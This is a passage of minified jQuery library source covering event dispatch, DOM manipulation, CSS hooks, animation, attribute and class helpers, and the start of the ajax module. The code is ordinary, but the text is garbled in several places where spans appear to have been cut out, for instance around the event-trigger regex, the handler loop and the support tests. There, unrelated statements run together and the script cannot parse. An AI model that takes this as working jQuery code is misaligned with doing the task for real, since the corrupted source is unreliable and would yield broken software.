      "]};Xe.optgroup=Xe.option,Xe.tbody=Xe.tfoot=Xe.colgroup=Xe.caption=Xe.thead,Xe.th=Xe.td;var Ue=/<|&#?\w+;/,Ve=/-1&&(h=p.split("."),p=h.shift(),h.sort()),a=p.indexOf(":")<0&&"on"+p,t=t[pe.expando]?t:new pe.Event(p,"object"==typeof t&&t),t.isTrigger=i?2:3,t.namespace=h.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=r),n=null==n?[t]:pe.makeArray(n,[t]),l=pe.event.special[p]||{},i||!l.trigger||l.trigger.apply(r,n)!==!1)){if(!i&&!l.noBubble&&!pe.isWindow(r)){for(u=l.delegateType||p,Ke.test(u+p)||(s=s.parentNode);s;s=s.parentNode)d.push(s),c=s;c===(r.ownerDocument||re)&&d.push(c.defaultView||c.parentWindow||e)}for(f=0;(s=d[f++])&&!t.isPropagationStopped();)t.type=f>1?u:l.bindType||p,o=(pe._data(s,"events")||{})[t.type]&&pe._data(s,"handle"),o&&o.apply(s,n),o=a&&s[a],o&&o.apply&&He(s)&&(t.result=o.apply(s,n),t.result===!1&&t.preventDefault());if(t.type=p,!i&&!t.isDefaultPrevented()&&(!l._default||l._default.apply(d.pop(),n)===!1)&&He(r)&&a&&r[p]&&!pe.isWindow(r)){c=r[a],c&&(r[a]=null),pe.event.triggered=p;try{r[p]()}catch(g){}pe.event.triggered=void 0,c&&(r[a]=c)}return t.result}},dispatch:function(e){e=pe.event.fix(e);var t,n,r,i,o,a=[],s=ie.call(arguments),u=(pe._data(this,"events")||{})[e.type]||[],l=pe.event.special[e.type]||{};if(s[0]=e,e.delegateTarget=this,!l.preDispatch||l.preDispatch.call(this,e)!==!1){for(a=pe.event.handlers.call(this,e,u),t=0;(i=a[t++])&&!e.isPropagationStopped();)for(e.currentTarget=i.elem,n=0;(o=i.handlers[n++])&&!e.isImmediatePropagationStopped();)e.rnamespace&&!e.rnamespace.test(o.namespace)||(e.handleObj=o,e.data=o.data,r=((pe.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s),void 0!==r&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()));return l.postDispatch&&l.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,a=[],s=t.delegateCount,u=e.target;if(s&&u.nodeType&&("click"!==e.type||isNaN(e.button)||e.button<1))for(;u!=this;u=u.parentNode||this)if(1===u.nodeType&&(u.disabled!==!0||"click"!==e.type)){for(r=[],n=0;n-1:pe.find(i,this,null,[u]).length),r[i]&&r.push(o);r.length&&a.push({elem:u,handlers:r})}return s]","i"),tt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,nt=/\s*$/g,at=p(re),st=at.appendChild(re.createElement("div"));pe.extend({htmlPrefilter:function(e){return e.replace(tt,"<$1>")},clone:function(e,t,n){var r,i,o,a,s,u=pe.contains(e.ownerDocument,e);if(fe.html5Clone||pe.isXMLDoc(e)||!et.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(st.innerHTML=e.outerHTML,st.removeChild(o=st.firstChild)),!(fe.noCloneEvent&&fe.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||pe.isXMLDoc(e)))for(r=h(o),s=h(e),a=0;null!=(i=s[a]);++a)r[a]&&k(i,r[a]);if(t)if(n)for(s=s||h(e),r=r||h(o),a=0;null!=(i=s[a]);a++)N(i,r[a]);else N(e,o);return r=h(o,"script"),r.length>0&&g(r,!u&&h(e,"script")),r=s=i=null,o},cleanData:function(e,t){for(var n,r,i,o,a=0,s=pe.expando,u=pe.cache,l=fe.attributes,c=pe.event.special;null!=(n=e[a]);a++)if((t||He(n))&&(i=n[s],o=i&&u[i])){if(o.events)for(r in o.events)c[r]?pe.event.remove(n,r):pe.removeEvent(n,r,o.handle);u[i]&&(delete u[i],l||"undefined"==typeof n.removeAttribute?n[s]=void 0:n.removeAttribute(s),ne.push(i))}}}),pe.fn.extend({domManip:S,detach:function(e){return A(this,e,!0)},remove:function(e){return A(this,e)},text:function(e){return Pe(this,function(e){return void 0===e?pe.text(this):this.empty().append((this[0]&&this[0].ownerDocument||re).createTextNode(e))},null,e,arguments.length)},append:function(){return S(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=T(this,e);t.appendChild(e)}})},prepend:function(){return S(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=T(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return S(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return S(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++){for(1===e.nodeType&&pe.cleanData(h(e,!1));e.firstChild;)e.removeChild(e.firstChild);e.options&&pe.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return pe.clone(this,e,t)})},html:function(e){return Pe(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e)return 1===t.nodeType?t.innerHTML.replace(Ze,""):void 0;if("string"==typeof e&&!nt.test(e)&&(fe.htmlSerialize||!et.test(e))&&(fe.leadingWhitespace||!$e.test(e))&&!Xe[(We.exec(e)||["",""])[1].toLowerCase()]){e=pe.htmlPrefilter(e);try{for(;nt",t=l.getElementsByTagName("td"),t[0].style.cssText="margin:0;border:0;padding:0;display:none",o=0===t[0].offsetHeight,o&&(t[0].style.display="",t[1].style.display="none",o=0===t[0].offsetHeight)),f.removeChild(u)}var n,r,i,o,a,s,u=re.createElement("div"),l=re.createElement("div");l.style&&(l.style.cssText="float:left;opacity:.5",fe.opacity="0.5"===l.style.opacity,fe.cssFloat=!!l.style.cssFloat,l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",fe.clearCloneStyle="content-box"===l.style.backgroundClip,u=re.createElement("div"),u.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",l.innerHTML="",u.appendChild(l),fe.boxSizing=""===l.style.boxSizing||""===l.style.MozBoxSizing||""===l.style.WebkitBoxSizing,pe.extend(fe,{reliableHiddenOffsets:function(){return null==n&&t(),o},boxSizingReliable:function(){return null==n&&t(),i},pixelMarginRight:function(){return null==n&&t(),r},pixelPosition:function(){return null==n&&t(),n},reliableMarginRight:function(){return null==n&&t(),a},reliableMarginLeft:function(){return null==n&&t(),s}}))}();var ht,gt,mt=/^(top|right|bottom|left)$/;e.getComputedStyle?(ht=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},gt=function(e,t,n){var r,i,o,a,s=e.style;return n=n||ht(e),a=n?n.getPropertyValue(t)||n[t]:void 0,""!==a&&void 0!==a||pe.contains(e.ownerDocument,e)||(a=pe.style(e,t)),n&&!fe.pixelMarginRight()&&ft.test(a)&&ct.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o),void 0===a?a:a+""}):pt.currentStyle&&(ht=function(e){return e.currentStyle},gt=function(e,t,n){var r,i,o,a,s=e.style;return n=n||ht(e),a=n?n[t]:void 0,null==a&&s&&s[t]&&(a=s[t]),ft.test(a)&&!mt.test(t)&&(r=s.left,i=e.runtimeStyle,o=i&&i.left,o&&(i.left=e.currentStyle.left),s.left="fontSize"===t?"1em":a,a=s.pixelLeft+"px",s.left=r,o&&(i.left=o)),void 0===a?a:a+""||"auto"});var yt=/alpha\([^)]*\)/i,vt=/opacity\s*=\s*([^)]*)/i,xt=/^(none|table(?!-c[ea]).+)/,bt=new RegExp("^("+Fe+")(.*)$","i"),wt={position:"absolute",visibility:"hidden",display:"block"},Tt={letterSpacing:"0",fontWeight:"400"},Ct=["Webkit","O","Moz","ms"],Et=re.createElement("div").style;pe.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=gt(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":fe.cssFloat?"cssFloat":"styleFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=pe.camelCase(t),u=e.style;if(t=pe.cssProps[s]||(pe.cssProps[s]=H(s)||s),a=pe.cssHooks[t]||pe.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:u[t];if(o=typeof n,"string"===o&&(i=Me.exec(n))&&i[1]&&(n=d(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(pe.cssNumber[s]?"":"px")),fe.clearCloneStyle||""!==n||0!==t.indexOf("background")||(u[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{u[t]=n}catch(l){}}},css:function(e,t,n,r){var i,o,a,s=pe.camelCase(t);return t=pe.cssProps[s]||(pe.cssProps[s]=H(s)||s),a=pe.cssHooks[t]||pe.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=gt(e,t,r)),"normal"===o&&t in Tt&&(o=Tt[t]),""===n||n?(i=parseFloat(o),n===!0||isFinite(i)?i||0:o):o}}),pe.each(["height","width"],function(e,t){pe.cssHooks[t]={get:function(e,n,r){if(n)return xt.test(pe.css(e,"display"))&&0===e.offsetWidth?dt(e,wt,function(){return M(e,t,r)}):M(e,t,r)},set:function(e,n,r){var i=r&&ht(e);return _(e,n,r?F(e,t,r,fe.boxSizing&&"border-box"===pe.css(e,"boxSizing",!1,i),i):0)}}}),fe.opacity||(pe.cssHooks.opacity={get:function(e,t){return vt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=pe.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===pe.trim(o.replace(yt,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=yt.test(o)?o.replace(yt,i):o+" "+i)}}),pe.cssHooks.marginRight=L(fe.reliableMarginRight,function(e,t){if(t)return dt(e,{display:"inline-block"},gt,[e,"marginRight"])}),pe.cssHooks.marginLeft=L(fe.reliableMarginLeft,function(e,t){if(t)return(parseFloat(gt(e,"marginLeft"))||(pe.contains(e.ownerDocument,e)?e.getBoundingClientRect().left-dt(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}):0))+"px"}),pe.each({margin:"",padding:"",border:"Width"},function(e,t){pe.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+Oe[r]+t]=o[r]||o[r-2]||o[0];return i}},ct.test(e)||(pe.cssHooks[e+t].set=_)}),pe.fn.extend({css:function(e,t){return Pe(this,function(e,t,n){var r,i,o={},a=0;if(pe.isArray(t)){for(r=ht(e),i=t.length;a1)},show:function(){return q(this,!0)},hide:function(){return q(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){Re(this)?pe(this).show():pe(this).hide()})}}),pe.Tween=O,O.prototype={constructor:O,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||pe.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(pe.cssNumber[n]?"":"px")},cur:function(){var e=O.propHooks[this.prop];return e&&e.get?e.get(this):O.propHooks._default.get(this)},run:function(e){var t,n=O.propHooks[this.prop];return this.options.duration?this.pos=t=pe.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):O.propHooks._default.set(this),this}},O.prototype.init.prototype=O.prototype,O.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=pe.css(e.elem,e.prop,""),t&&"auto"!==t?t:0)},set:function(e){pe.fx.step[e.prop]?pe.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[pe.cssProps[e.prop]]&&!pe.cssHooks[e.prop]?e.elem[e.prop]=e.now:pe.style(e.elem,e.prop,e.now+e.unit)}}},O.propHooks.scrollTop=O.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},pe.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},pe.fx=O.prototype.init,pe.fx.step={};var Nt,kt,St=/^(?:toggle|show|hide)$/,At=/queueHooks$/;pe.Animation=pe.extend($,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return d(n.elem,e,Me.exec(t),n),n}]},tweener:function(e,t){pe.isFunction(e)?(t=e,e=["*"]):e=e.match(De);for(var n,r=0,i=e.length;r
      a",e=n.getElementsByTagName("a")[0],t.setAttribute("type","checkbox"),n.appendChild(t),e=n.getElementsByTagName("a")[0],e.style.cssText="top:1px",fe.getSetAttribute="t"!==n.className,fe.style=/top/.test(e.getAttribute("style")),fe.hrefNormalized="/a"===e.getAttribute("href"),fe.checkOn=!!t.value,fe.optSelected=i.selected,fe.enctype=!!re.createElement("form").enctype,r.disabled=!0,fe.optDisabled=!i.disabled,t=re.createElement("input"),t.setAttribute("value",""),fe.input=""===t.getAttribute("value"),t.value="t",t.setAttribute("type","radio"),fe.radioValue="t"===t.value}();var Dt=/\r/g,jt=/[\x20\t\r\n\f]+/g;pe.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=pe.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,pe(this).val()):e,null==i?i="":"number"==typeof i?i+="":pe.isArray(i)&&(i=pe.map(i,function(e){return null==e?"":e+""})),t=pe.valHooks[this.type]||pe.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return t=pe.valHooks[i.type]||pe.valHooks[i.nodeName.toLowerCase()],t&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:(n=i.value,"string"==typeof n?n.replace(Dt,""):null==n?"":n)}}}),pe.extend({valHooks:{option:{get:function(e){var t=pe.find.attr(e,"value");return null!=t?t:pe.trim(pe.text(e)).replace(jt," ")}},select:{get:function(e){for(var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||i<0,a=o?null:[],s=o?i+1:r.length,u=i<0?s:o?i:0;u-1)try{r.selected=n=!0}catch(s){r.scrollHeight}else r.selected=!1;return n||(e.selectedIndex=-1),i}}}}),pe.each(["radio","checkbox"],function(){pe.valHooks[this]={set:function(e,t){if(pe.isArray(t))return e.checked=pe.inArray(pe(e).val(),t)>-1}},fe.checkOn||(pe.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Lt,Ht,qt=pe.expr.attrHandle,_t=/^(?:checked|selected)$/i,Ft=fe.getSetAttribute,Mt=fe.input;pe.fn.extend({attr:function(e,t){return Pe(this,pe.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){pe.removeAttr(this,e)})}}),pe.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?pe.prop(e,t,n):(1===o&&pe.isXMLDoc(e)||(t=t.toLowerCase(),i=pe.attrHooks[t]||(pe.expr.match.bool.test(t)?Ht:Lt)),void 0!==n?null===n?void pe.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:(r=pe.find.attr(e,t),null==r?void 0:r))},attrHooks:{type:{set:function(e,t){if(!fe.radioValue&&"radio"===t&&pe.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(De);if(o&&1===e.nodeType)for(;n=o[i++];)r=pe.propFix[n]||n,pe.expr.match.bool.test(n)?Mt&&Ft||!_t.test(n)?e[r]=!1:e[pe.camelCase("default-"+n)]=e[r]=!1:pe.attr(e,n,""),e.removeAttribute(Ft?n:r)}}),Ht={set:function(e,t,n){return t===!1?pe.removeAttr(e,n):Mt&&Ft||!_t.test(n)?e.setAttribute(!Ft&&pe.propFix[n]||n,n):e[pe.camelCase("default-"+n)]=e[n]=!0,n}},pe.each(pe.expr.match.bool.source.match(/\w+/g),function(e,t){var n=qt[t]||pe.find.attr;Mt&&Ft||!_t.test(t)?qt[t]=function(e,t,r){var i,o;return r||(o=qt[t],qt[t]=i,i=null!=n(e,t,r)?t.toLowerCase():null,qt[t]=o),i}:qt[t]=function(e,t,n){if(!n)return e[pe.camelCase("default-"+t)]?t.toLowerCase():null}}),Mt&&Ft||(pe.attrHooks.value={set:function(e,t,n){return pe.nodeName(e,"input")?void(e.defaultValue=t):Lt&&Lt.set(e,t,n)}}),Ft||(Lt={set:function(e,t,n){var r=e.getAttributeNode(n);if(r||e.setAttributeNode(r=e.ownerDocument.createAttribute(n)),r.value=t+="","value"===n||t===e.getAttribute(n))return t}},qt.id=qt.name=qt.coords=function(e,t,n){var r;if(!n)return(r=e.getAttributeNode(t))&&""!==r.value?r.value:null},pe.valHooks.button={get:function(e,t){var n=e.getAttributeNode(t);if(n&&n.specified)return n.value},set:Lt.set},pe.attrHooks.contenteditable={set:function(e,t,n){Lt.set(e,""!==t&&t,n)}},pe.each(["width","height"],function(e,t){pe.attrHooks[t]={set:function(e,n){if(""===n)return e.setAttribute(t,"auto"),n}}})),fe.style||(pe.attrHooks.style={get:function(e){return e.style.cssText||void 0},set:function(e,t){return e.style.cssText=t+""}});var Ot=/^(?:input|select|textarea|button|object)$/i,Rt=/^(?:a|area)$/i;pe.fn.extend({prop:function(e,t){return Pe(this,pe.prop,e,t,arguments.length>1)},removeProp:function(e){return e=pe.propFix[e]||e,this.each(function(){try{this[e]=void 0,delete this[e]}catch(t){}})}}),pe.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&pe.isXMLDoc(e)||(t=pe.propFix[t]||t,i=pe.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=pe.find.attr(e,"tabindex");return t?parseInt(t,10):Ot.test(e.nodeName)||Rt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),fe.hrefNormalized||pe.each(["href","src"],function(e,t){pe.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),fe.optSelected||(pe.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),pe.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){pe.propFix[this.toLowerCase()]=this}),fe.enctype||(pe.propFix.enctype="encoding");var Pt=/[\t\r\n\f]/g;pe.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(pe.isFunction(e))return this.each(function(t){pe(this).addClass(e.call(this,t,z(this)))});if("string"==typeof e&&e)for(t=e.match(De)||[];n=this[u++];)if(i=z(n),r=1===n.nodeType&&(" "+i+" ").replace(Pt," ")){for(a=0;o=t[a++];)r.indexOf(" "+o+" ")<0&&(r+=o+" ");s=pe.trim(r),i!==s&&pe.attr(n,"class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(pe.isFunction(e))return this.each(function(t){pe(this).removeClass(e.call(this,t,z(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof e&&e)for(t=e.match(De)||[];n=this[u++];)if(i=z(n),r=1===n.nodeType&&(" "+i+" ").replace(Pt," ")){for(a=0;o=t[a++];)for(;r.indexOf(" "+o+" ")>-1;)r=r.replace(" "+o+" "," ");s=pe.trim(r),i!==s&&pe.attr(n,"class",s)}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):pe.isFunction(e)?this.each(function(n){pe(this).toggleClass(e.call(this,n,z(this),t),t)}):this.each(function(){var t,r,i,o;if("string"===n)for(r=0,i=pe(this),o=e.match(De)||[];t=o[r++];)i.hasClass(t)?i.removeClass(t):i.addClass(t);else void 0!==e&&"boolean"!==n||(t=z(this),t&&pe._data(this,"__className__",t),pe.attr(this,"class",t||e===!1?"":pe._data(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;for(t=" "+e+" ";n=this[r++];)if(1===n.nodeType&&(" "+z(n)+" ").replace(Pt," ").indexOf(t)>-1)return!0;return!1}}),pe.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){pe.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),pe.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}});var Bt=e.location,Wt=pe.now(),It=/\?/,$t=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;pe.parseJSON=function(t){if(e.JSON&&e.JSON.parse)return e.JSON.parse(t+"");var n,r=null,i=pe.trim(t+"");return i&&!pe.trim(i.replace($t,function(e,t,i,o){return n&&t&&(r=0),0===r?e:(n=i||t,r+=!o-!i,"")}))?Function("return "+i)():pe.error("Invalid JSON: "+t)},pe.parseXML=function(t){var n,r;if(!t||"string"!=typeof t)return null;try{e.DOMParser?(r=new e.DOMParser,n=r.parseFromString(t,"text/xml")):(n=new e.ActiveXObject("Microsoft.XMLDOM"),n.async="false",n.loadXML(t))}catch(i){n=void 0}return n&&n.documentElement&&!n.getElementsByTagName("parsererror").length||pe.error("Invalid XML: "+t),n};var zt=/#.*$/,Xt=/([?&])_=[^&]*/,Ut=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Vt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Yt=/^(?:GET|HEAD)$/,Jt=/^\/\//,Gt=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,Kt={},Qt={},Zt="*/".concat("*"),en=Bt.href,tn=Gt.exec(en.toLowerCase())||[];pe.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:en,type:"GET",isLocal:Vt.test(tn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Zt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":pe.parseJSON,"text xml":pe.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?V(V(e,pe.ajaxSettings),t):V(pe.ajaxSettings,e)},ajaxPrefilter:X(Kt),ajaxTransport:X(Qt),ajax:function(t,n){function r(t,n,r,i){var o,f,v,x,w,C=n;2!==b&&(b=2,u&&e.clearTimeout(u),c=void 0,s=i||"",T.readyState=t>0?4:0,o=t>=200&&t<300||304===t,r&&(x=Y(d,T,r)),x=J(d,x,T,o),o?(d.ifModified&&(w=T.getResponseHeader("Last-Modified"),w&&(pe.lastModified[a]=w),w=T.getResponseHeader("etag"),w&&(pe.etag[a]=w)),204===t||"HEAD"===d.type?C="nocontent":304===t?C="notmodified":(C=x.state,f=x.data,v=x.error,o=!v)):(v=C,!t&&C||(C="error",t<0&&(t=0))),T.status=t,T.statusText=(n||C)+"",o?g.resolveWith(p,[f,C,T]):g.rejectWith(p,[T,C,v]),T.statusCode(y),y=void 0,l&&h.trigger(o?"ajaxSuccess":"ajaxError",[T,d,o?f:v]),m.fireWith(p,[T,C]),l&&(h.trigger("ajaxComplete",[T,d]),--pe.active||pe.event.trigger("ajaxStop")))}"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,d=pe.ajaxSetup({},n),p=d.context||d,h=d.context&&(p.nodeType||p.jquery)?pe(p):pe.event,g=pe.Deferred(),m=pe.Callbacks("once memory"),y=d.statusCode||{},v={},x={},b=0,w="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!f)for(f={};t=Ut.exec(s);)f[t[1].toLowerCase()]=t[2];t=f[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?s:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=x[n]=x[n]||e,v[e]=t),this},overrideMimeType:function(e){return b||(d.mimeType=e),this},statusCode:function(e){var t;if(e)if(b<2)for(t in e)y[t]=[y[t],e[t]];else T.always(e[T.status]);return this},abort:function(e){var t=e||w;return c&&c.abort(t),r(0,t),this}};if(g.promise(T).complete=m.add,T.success=T.done,T.error=T.fail,d.url=((t||d.url||en)+"").replace(zt,"").replace(Jt,tn[1]+"//"),d.type=n.method||n.type||d.method||d.type,d.dataTypes=pe.trim(d.dataType||"*").toLowerCase().match(De)||[""],null==d.crossDomain&&(i=Gt.exec(d.url.toLowerCase()),d.crossDomain=!(!i||i[1]===tn[1]&&i[2]===tn[2]&&(i[3]||("http:"===i[1]?"80":"443"))===(tn[3]||("http:"===tn[1]?"80":"443")))),d.data&&d.processData&&"string"!=typeof d.data&&(d.data=pe.param(d.data,d.traditional)),U(Kt,d,n,T),2===b)return T;l=pe.event&&d.global,l&&0===pe.active++&&pe.event.trigger("ajaxStart"),d.type=d.type.toUpperCase(),d.hasContent=!Yt.test(d.type),a=d.url,d.hasContent||(d.data&&(a=d.url+=(It.test(a)?"&":"?")+d.data,delete d.data),d.cache===!1&&(d.url=Xt.test(a)?a.replace(Xt,"$1_="+Wt++):a+(It.test(a)?"&":"?")+"_="+Wt++)),d.ifModified&&(pe.lastModified[a]&&T.setRequestHeader("If-Modified-Since",pe.lastModified[a]),pe.etag[a]&&T.setRequestHeader("If-None-Match",pe.etag[a])),(d.data&&d.hasContent&&d.contentType!==!1||n.contentType)&&T.setRequestHeader("Content-Type",d.contentType),T.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+("*"!==d.dataTypes[0]?", "+Zt+"; q=0.01":""):d.accepts["*"]);for(o in d.headers)T.setRequestHeader(o,d.headers[o]);if(d.beforeSend&&(d.beforeSend.call(p,T,d)===!1||2===b))return T.abort();w="abort";for(o in{success:1,error:1,complete:1})T[o](d[o]);if(c=U(Qt,d,n,T)){if(T.readyState=1,l&&h.trigger("ajaxSend",[T,d]),2===b)return T;d.async&&d.timeout>0&&(u=e.setTimeout(function(){T.abort("timeout")},d.timeout));try{b=1,c.send(v,r)}catch(C){if(!(b<2))throw C;r(-1,C)}}else r(-1,"No Transport");return T},getJSON:function(e,t,n){return pe.get(e,t,n,"json")},getScript:function(e,t){return pe.get(e,void 0,t,"script")}}),pe.each(["get","post"],function(e,t){pe[t]=function(e,n,r,i){return pe.isFunction(n)&&(i=i||r,r=n,n=void 0),pe.ajax(pe.extend({url:e,type:t,dataType:i,data:n,success:r},pe.isPlainObject(e)&&e))}}),pe._evalUrl=function(e){return pe.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},pe.fn.extend({wrapAll:function(e){if(pe.isFunction(e))return this.each(function(t){pe(this).wrapAll(e.call(this,t))});if(this[0]){var t=pe(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstChild&&1===e.firstChild.nodeType;)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return pe.isFunction(e)?this.each(function(t){pe(this).wrapInner(e.call(this,t))}):this.each(function(){var t=pe(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=pe.isFunction(e);return this.each(function(n){pe(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){pe.nodeName(this,"body")||pe(this).replaceWith(this.childNodes)}).end()}}),pe.expr.filters.hidden=function(e){return fe.reliableHiddenOffsets()?e.offsetWidth<=0&&e.offsetHeight<=0&&!e.getClientRects().length:K(e)},pe.expr.filters.visible=function(e){return!pe.expr.filters.hidden(e)};var nn=/%20/g,rn=/\[\]$/,on=/\r?\n/g,an=/^(?:submit|button|image|reset|file)$/i,sn=/^(?:input|select|textarea|keygen)/i;pe.param=function(e,t){var n,r=[],i=function(e,t){t=pe.isFunction(t)?t():null==t?"":t,r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};if(void 0===t&&(t=pe.ajaxSettings&&pe.ajaxSettings.traditional),pe.isArray(e)||e.jquery&&!pe.isPlainObject(e))pe.each(e,function(){i(this.name,this.value)});else for(n in e)Q(n,e[n],t,i);return r.join("&").replace(nn,"+")},pe.fn.extend({serialize:function(){return pe.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var 